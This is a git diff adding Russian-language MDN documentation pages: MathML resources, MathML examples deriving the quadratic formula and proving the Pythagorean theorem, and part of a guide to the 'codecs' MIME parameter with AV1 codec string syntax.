+ <dd>Информация по аттрибутам MathML, которые могут изменять внешний вид или поведение элементов.</dd>
+ <dt><a href="/ru/docs/Web/MathML/Examples" title="/ru/docs/Web/MathML/Examples">Примеры MathML</a></dt>
+ <dd>Примеры и образцы работы технологии MathML, которые помогут Вам понять её принципы.</dd>
+ <dt><a href="/ru/docs/Web/MathML/Authoring" title="/ru/docs/Web/MathML/Authoring">Средство разработки MathML</a></dt>
+ <dd>Предложения и советы по написанию на MathML, включая рекомендации по редакторам MathML, а также информация о том как интегрировать результат в Web контент.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/MathML" title="/ru/docs/tag/CSS">Смотреть всё...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Получение_помощи_из_сообщества">Получение помощи из сообщества</h2>
+
+<ul>
+ <li>Смотреть форумы Mozilla...<br>
+  {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">IRC канал</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki от авторов Mozilla</a></li>
+ <li><a href="http://www.w3.org/Math/" title="http://www.w3.org/Math/">Домашняя страница W3C Math</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org/Archives/Public/www-math/">Почтовый архив www-math w3.org</a></li>
+</ul>
+
+<h2 class="Tools" id="Инструменты">Инструменты</h2>
+
+<ul>
+ <li><a class="external" href="http://validator.w3.org">W3C Validator (проверка online)</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/8969/">Дополнение FireMath к Firefox</a></li>
+ <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/" title="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Коллекция дополнений к Mathzilla Firefox </a></li>
+ <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> - Javascript конвертер LaTeX в MathML (<a href="http://fred-wang.github.io/TeXZilla/">живая демонстрация</a>, <a href="http://r-gaia-cs.github.io/TeXZilla-webapp/">web-приложение Firefox OS</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">дополнение к Firefox</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">использование в Web странице, программа на JS, и.т.п.</a>)</li>
+ <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> - Конвертация документов LaTeX в HTML+MathML Web-страницы</li>
+ <li><a href="http://webdemo.visionobjects.com/home.html#equation" title="http://webdemo.visionobjects.com/equation.html">Web Equation</a> - Вставка рукописных формул в MathML или LaTeX</li>
+ <li><a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a> - Кросс-платформенное средство отображения математического контента на JavaScript. Для ускорения MathJax c использованием нативного MathML, испытайте <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">это дополнение для Mozilla</a>, это <a href="http://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz">расширение для Safari </a>или этот <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">скрипт для GreaseMonkey</a>.</li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Похожие темы</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS" title="/ru/docs/Web/CSS">CSS</a></li>
+ <li><a href="/ru/docs/Web/HTML" title="/ru/docs/Web/HTML">HTML</a></li>
+ <li><a href="/ru/docs/Web/SVG" title="/ru/docs/Web/SVG">SVG</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 91px; width: 772px;">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>с плагинами</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>с плагинами</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div>
+<h3 id="sect1"></h3>
+
+<h3 id="Примечания_по_Gecko">Примечания по Gecko:</h3>
+
+<p>Начиная с Firefox 1.5, основная часть изложения разметки от <a class="external" href="http://www.w3.org/TR/MathML2/">MathML 2.0 W3C Recommendation</a> поддерживается всеми платформами. Поддержка для <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3</a> находится <a href="/ru/docs/Mozilla_MathML_Project/Status" title="/ru/docs/Mozilla_MathML_Project/Status">в стадии разработки</a>.</p>
+</div>
diff --git a/files/ru/web/mathml/примеры/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/примеры/deriving_the_quadratic_formula/index.html
new file mode 100644
index 0000000000..16bfc22d61
--- /dev/null
+++ b/files/ru/web/mathml/примеры/deriving_the_quadratic_formula/index.html
@@ -0,0 +1,18 @@
+---
+title: 'MathML: Вывод Квадратичной Формулы'
+slug: Web/MathML/Примеры/Deriving_the_Quadratic_Formula
+tags:
+  - Beginner
+  - Education
+  - Example
+  - Guide
+  - HTML5
+  - MathML
+  - NeedsBeginnerUpdate
+translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula
+---
+<p><span class="seoSummary">На этой странице описывается вывод Квадратичной Формулы.</span></p>
+
+<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Мы берем квадратное уравнение в его общем виде и решаем для х:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p>
+
+<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Делим на главный коэффициент.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Дополняем до квадрата.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Получен дискриминант.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Это основная формула.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p>
diff --git a/files/ru/web/mathml/примеры/index.html b/files/ru/web/mathml/примеры/index.html
new file mode 100644
index 0000000000..abc8097197
--- /dev/null
+++ b/files/ru/web/mathml/примеры/index.html
@@ -0,0 +1,26 @@
+---
+title: Примеры
+slug: Web/MathML/Примеры
+tags:
+  - MathML
+  - Гайд
+  - Начинайющий
+  - НеобходимоОбновлениеДляНачинающих
+translation_of: Web/MathML/Examples
+---
+<p><span class="translation-chunk">Ниже Вы найдете некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.</span></p>
+
+<dl>
+ <dt><a href="/ru-RU/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Теорема Пифагора</a></dt>
+ <dd>
+ <div class="textinput textlayer translation state-fadeaway" id="translation"><span class="translation-chunk">Небольшой</span><span class="translation-chunk"> </span><span class="translation-chunk">пример, демонстрирующий</span><span class="translation-chunk"> </span><span class="translation-chunk">доказательство теоремы Пифагора</span><span class="translation-chunk">.</span></div>
+ </dd>
+ <dt><a href="/ru-RU/docs/Web/MathML/Examples/Deriving_the_Quadratic_Formula">Вывод квадратичной формулы</a></dt>
+ <dd>
+ <div class="textinput textlayer translation state-fadeaway" id="translation"><span class="translation-chunk">Излагается</span><span class="translation-chunk"> </span><span class="translation-chunk">вывод</span><span class="translation-chunk"> </span><span class="translation-chunk">Квадратичной Формулы</span><span class="translation-chunk">.</span></div>
+ </dd>
+ <dt><a href="/ru-RU/docs/Mozilla/MathML_Project/MathML_Torture_Test">Мучительный тест MathML</a></dt>
+ <dd>
+ <div class="textinput textlayer translation state-fadeaway" id="translation"><span class="translation-chunk">Большой</span><span class="translation-chunk"> </span><span class="translation-chunk">набор тестов</span><span class="translation-chunk"> </span><span class="translation-chunk">разметки</span><span class="translation-chunk">.</span></div>
+ </dd>
+</dl>
diff --git a/files/ru/web/mathml/примеры/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/примеры/mathml_pythagorean_theorem/index.html
new file mode 100644
index 0000000000..7a8599e2e0
--- /dev/null
+++ b/files/ru/web/mathml/примеры/mathml_pythagorean_theorem/index.html
@@ -0,0 +1,26 @@
+---
+title: Доказательство теоремы Пифагора
+slug: Web/MathML/Примеры/MathML_Pythagorean_Theorem
+tags:
+  - Beginner
+  - Example
+  - Guide
+  - HTML5 Math
+  - Math education
+  - MathML
+  - NeedsBeginnerUpdate
+translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem
+---
+<p>Сейчас мы докажем Теорему Пифагора:</p>
+
+<p><strong>Утверждение</strong>: В прямоугольном треугольнике квадрат гипотенузы равен сумме квадратов двух других сторон (катетов).</p>
+
+<p>То есть, если <math><semantics><mi>a</mi><annotation encoding="TeX">a</annotation></semantics></math> и <math><semantics><mi>b</mi><annotation encoding="TeX">b</annotation></semantics></math> - катеты, а <math><semantics><mi>c</mi><annotation encoding="TeX">c</annotation></semantics></math> - гипотенуза, то <math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation encoding="TeX">a^2 + b^2 = c^2</annotation></semantics></math>.</p>
+
+<p><strong><u>Доказательство:</u></strong> Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырех треугольников:</p>
+
+<p><math><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup><mo>+</mo><mn>4</mn><mo>⋅</mo><mrow><mo>(</mo><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>⋅</mo><mi>a</mi><mi>b</mi></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right) </annotation></semantics></math></p>
+
+<p><math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mo>⋅</mo><mi>a</mi><mi>b</mi><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mo>⋅</mo><mi>a</mi><mi>b</mi></mrow><annotation encoding="TeX">a^2 + 2 \cdot ab + b^2 = c^2 + 2 \cdot ab</annotation></semantics></math></p>
+
+<p><math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation encoding="TeX">a^2 + b^2 = c^2</annotation></semantics></math></p>
diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html
new file mode 100644
index 0000000000..a7eed92590
--- /dev/null
+++ b/files/ru/web/media/formats/codecs_parameter/index.html
@@ -0,0 +1,973 @@
+---
+title: Параметр "codecs" для распространенных типов носителей
+slug: Web/Media/Formats/codecs_parameter
+translation_of: Web/Media/Formats/codecs_parameter
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<div>На базовом уровне, можно задать тип медиа файла, используя простой</div>
+
+<p>{{Glossary("MIME")}} тип, такой как  <code>video/mp4</code> или <code>audio/mpeg</code>. Однако, многие медиа типы, особенно те, которые поддерживают видео дорожки, более привлекательные из-за способности более точного описания содержащегося формата данных. Например, просто описывая видео в  файле <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a>  с  MIME типом <code>video/mp4</code> ничего не скажет о том, какой формат в действительности он содержит.</p>
+
+<p>По этой причине в MIME тип может быть добавлен параметр  <code>codecs</code> , описывающий медиа контент, предоставляя более подробную информацию о содержимом. Эта информация может содержать, к примеру, профиль видео кодека, или тип, используемый аудио треками, и так далее.</p>
+
+<p>В этом руководстве кратко рассматривается синтаксис параметра <code>codecs </code>мультимедийного типа и его использование со строкой, описывающей  MIME тип, для предоставления подробных сведений о содержимом аудио- или видеоматериалов, помимо простого указания типа</p>
+
+<h2 id="Общий_синтаксис">Общий синтаксис</h2>
+
+<p>Основной медиатип определяется установкой строкового значения  (<code>audio</code>, <code>video</code>, и т.д.), после которого идет символ слеша (<code>/</code>), затем указывается формат контейнера, который будет содержать информацию:</p>
+
+<dl>
+ <dt><code>audio/mpeg</code></dt>
+ <dd>Аудио файл, использующий тип файла <a href="/en-US/docs/Web/Media/Formats/Containers#MPEG">MPEG</a> , к примеру, MP3.</dd>
+ <dt><code>video/ogg</code></dt>
+ <dd>Видео файл, использующий тип файла  <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>.</dd>
+ <dt><code>video/mp4</code></dt>
+ <dd>Видео файл, использующий тип файла  <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a>.</dd>
+ <dt><code>video/quicktime</code></dt>
+ <dd>Видео файл, Apple формата <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a>. Как уже отмечалось, этот формат обычно  используется в Сети, поскольку требует использования плпгинов.</dd>
+</dl>
+
+<p>Однако эти MIME являются не прозрачными. Все эти типы поддерживают несколько кодеков, и эти кодеки могут содержать несколько профилей, уровней , и других факторов конфигурирования. По этой причине указывается строковый параметр медиа типа <code>codecs</code>.</p>
+
+<p>Для его добавления, перед ним ставиться точка с запятой (<code>;</code>) , за которой следует строка  <code>codecs=</code> , в значении указывается формат содержимого файла. Некоторые типы носителей позволяют указывать только имена используемых кодеков, в то время как другие позволяют также указывать различные ограничения для этих кодеков. Вы можете указать несколько кодеков, разделяя их запятыми.</p>
+
+<dl>
+ <dt><code>audio/ogg; codecs=vorbis</code></dt>
+ <dd>Файл <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a> содержит  <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> аудио трек.</dd>
+ <dt><code>video/webm; codecs="vp8, vorbis"</code></dt>
+ <dd>Файл <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a> , содержащий <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> видео и/или <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> аудио.</dd>
+ <dt><code>video/mp4; codecs="avc1.4d002a"</code></dt>
+ <dd>Файл <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> , содержащий  <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) видео, Основной профиль, Уровень 4.2.</dd>
+</dl>
+
+<p>Как и вслучае с  любым параметром MIME типа , <code>codecs</code> должен заменяться на <code>codecs*</code> (обратите внимание на символ звездочки, <code>*</code>) , если какое-либо из свойств кодека использует специальные символы для указания допонительной информации (языковые отметки, кодировка байтов в шестнадцатиричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать   {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.</p>
+
+<div class="blockIndicator note">
+<p> Когда используется параметр <code>codecs</code>, указанный список кодеков должен включать каждый кодек, используемый для содержимого файлаю Список также может содержать кодеки, которых нет в файле.</p>
+</div>
+
+<h2 id="Свойства_кодеков_для_контейнеров">Свойства кодеков для контейнеров</h2>
+
+<p>Контейнеры ниже поддерживают расширенные свойства кодеков в своих параметрах <code>codecs</code> :</p>
+
+<div class="index">
+<ul>
+ <li>{{anch("ISO-BMFF", "3GP")}}</li>
+ <li>{{anch("AV1")}}</li>
+ <li>{{anch("ISO-BMFF", "ISO BMFF")}}</li>
+ <li>{{anch("ISO-BMFF", "MPEG-4")}}</li>
+ <li>{{anch("ISO-BMFF", "QuickTime")}}</li>
+ <li>{{anch("WebM")}}</li>
+</ul>
+</div>
+
+<p>Несколько ссылок выше входят в одину и то же секцию, потому, что все медиатипы основаны на файловом формате  ISO Base Media File Format (ISO BMFF), поэтому они  используют тот же синикаксис.</p>
+
+<h3 id="AV1">AV1</h3>
+
+<p>Синтаксис параметра <code>codecs</code> для AV1 определяется спецификацией <a href="https://aomediacodec.github.io/av1-isobmff">AV1 Codec ISO Media File Format Binding</a> , секция 5: <a href="https://aomediacodec.github.io/av1-isobmff/#codecsparam">Строки параметра codecs </a>.</p>
+
+<pre>av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]</pre>
+
+<p>Компоненты строковых параметров кодеков описываются более подробно в таблице ниже. Каждый компонент имеет фиксированное количество символов, и если значение меньше этой длины, оно должно быть дополнено начальными нулями.</p>
+
+<table class="standard-table">
+ <caption>AV1 компоненты строковых параметров кодека</caption>
+ <thead>
+  <tr>
+   <th scope="col">Компонент</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>P</code></td>
+   <td>
+    <p>Однознаковый номер профиля:</p>
+
+    <table class="standard-table">
+     <caption>AV1 номера профилей</caption>
+     <thead>
+      <tr>
+       <th scope="col">Номер профиля</th>
+       <th scope="col">Описание</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>0</td>
+       <td>"Основной" профиль; поддерживает  YUV 4:2:0 или одноцветный поток битов с глубиной  8 или 10 бит на компонент.</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>"Высокий" профиль добавляет поддержку выбора цветности  4:4:4.</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>"Профессиональный" профиль добавляет поддержку выбора цветности 4:2:2 и 12 бит на один цвет компонента.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>LL</code></td>
+   <td>Двухзначный номер уровня, который преобразуется в формат X.Y, где<code>X = 2 + (LL &gt;&gt; 2)</code> , и  <code>Y = LL &amp; 3</code>. Подробнее <a href="https://aomediacodec.github.io/av1-spec/#levels">Дополнение A, секция 3</a> в спецификации  AV1 .</td>
+  </tr>
+  <tr>
+   <td><code>T</code></td>
+   <td>The one-character tier indicator. For the Main tier (<code>seq_tier</code> equals 0), this character is the letter <code>M</code>. For the High tier (<code>seq_tier</code> is 1), this character is the letter <code>H</code>. The High tier is only available for level 4.0 and up.</td>
+  </tr>
+  <tr>
+   <td><code>DD</code></td>
+   <td>The two-digit component bit depth. This value must be one of 8, 10, or 12; which values are valid varies depending on the profile and other properties.</td>
+  </tr>
+  <tr>
+   <td><code>M</code></td>
+   <td>The one-digit monochrome flag; if this is 0, the video includes the U and V planes in addition to the Y plane. Otherwise, the video data is entirely in the Y plane and is therefore monochromatic. See {{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_concepts", "YUV")}} for details on how the YUV color system works. The default value is 0 (not monochrome).</td>
+  </tr>
+  <tr>
+   <td><code>CCC</code></td>
+   <td>
+    <p><code>CCC</code> indicates the chroma subsampling as three digits. The first digit is <code>subsampling_x</code>, the second is <code>subsampling_y</code>. If both of those are 1, the third is the value of <code>chroma_sample_position</code>; otherwise, the third digit is always 0. This, combined with the <code>M</code> component, can be used to construct the chroma subsampling format:</p>
+
+    <table class="standard-table">
+     <caption>Determining the chroma subsampling format</caption>
+     <thead>
+      <tr>
+       <th scope="col">subsampling_x</th>
+       <th scope="col">subsampling_y</th>
+       <th scope="col">Monochrome flag</th>
+       <th scope="col">Chroma subsampling format</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>0</td>
+       <td>0</td>
+       <td>0</td>
+       <td>YUV 4:4:4</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>0</td>
+       <td>0</td>
+       <td>YUV 4:2:2</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>1</td>
+       <td>0</td>
+       <td>YUV 4:2:0</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>1</td>
+       <td>1</td>
+       <td>YUV 4:0:0 (Monochrome)</td>
+      </tr>
+     </tbody>
+    </table>
+
+    <p>The third digit in <code>CCC</code> indicates the chroma sample position, with a value of 0 indicating that the position is unknown and must be separately provided during decoding; a value of 1 indicating that the sample position is horizontally colocated with the (0, 0) luma sample; and a value of 2 indicating that the sample position is colocated with (0, 0) luma.</p>
+
+    <p>The default value is <code>110</code> (4:2:0 chroma subsampling).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cp</code></td>
+   <td>The two-digit <code>color_primaries</code> value indicates the color system used by the media. For example, BT.2020/BT.2100 color, as used for HDR video, is <code>09</code>. The information for this—and for each of the remaining components—is found in the <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">Color config semantics section</a> of the AV1 specification. The default value is <code>01</code> (ITU-R BT.709).</td>
+  </tr>
+  <tr>
+   <td><code>tc</code></td>
+   <td>The two-digit <code>transfer_characteristics</code> value. This value defines the function used to map the gamma (delightfully called the "opto-electrical transfer function" in technical parlance) from the source to the display. For example, 10-bit BT.2020 is <code>14</code>. The default value is <code>01</code> (ITU-R BT.709).</td>
+  </tr>
+  <tr>
+   <td><code>mc</code></td>
+   <td>The two-digit <code>matrix_coefficients</code> constant selects the matrix coefficients used to convert the red, blue, and green channels into luma and chroma signals. For example, the standard coefficients used for BT.709 are indicated using the value <code>01</code>. The default value is <code>01</code> (ITU-R BT.709).</td>
+  </tr>
+  <tr>
+   <td><code>F</code></td>
+   <td>A one-digit flag indicating whether the color should be allowed to use the full range of possible values (<code>1</code>), or should be constrained to those values considered legal for the specified color configuration (that is, the <strong>studio swing representation</strong>). The default is 0 (use the studio swing representation).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>All fields from <code>M</code> (monochrome flag) onward are optional; you may stop including fields at any point (but can't arbitrarily leave out fields). The default values are included in the table above. Some example AV1 codec strings:</p>
+
+<dl>
+ <dt><code>av01.2.15M.10.0.100.09.16.09.0</code></dt>
+ <dd>AV1 Professional Profile, level 5.3, Main tier, 10 bits per color component, 4:2:2 chroma subsampling using ITU-R BT.2100 color primaries, transfer characteristics, and YCbCr color matrix. The studio swing representation is indicated.</dd>
+ <dt><code>av01.0.15M.10</code></dt>
+ <dd>AV1 Main Profile, level 5.3, Main tier, 10 bits per color component. The remaining properties are taken from the defaults: 4:2:0 chroma subsampling, BT.709 color primaries, transfer characteristics, and matrix coefficients. Studio swing representation.</dd>
+</dl>
+
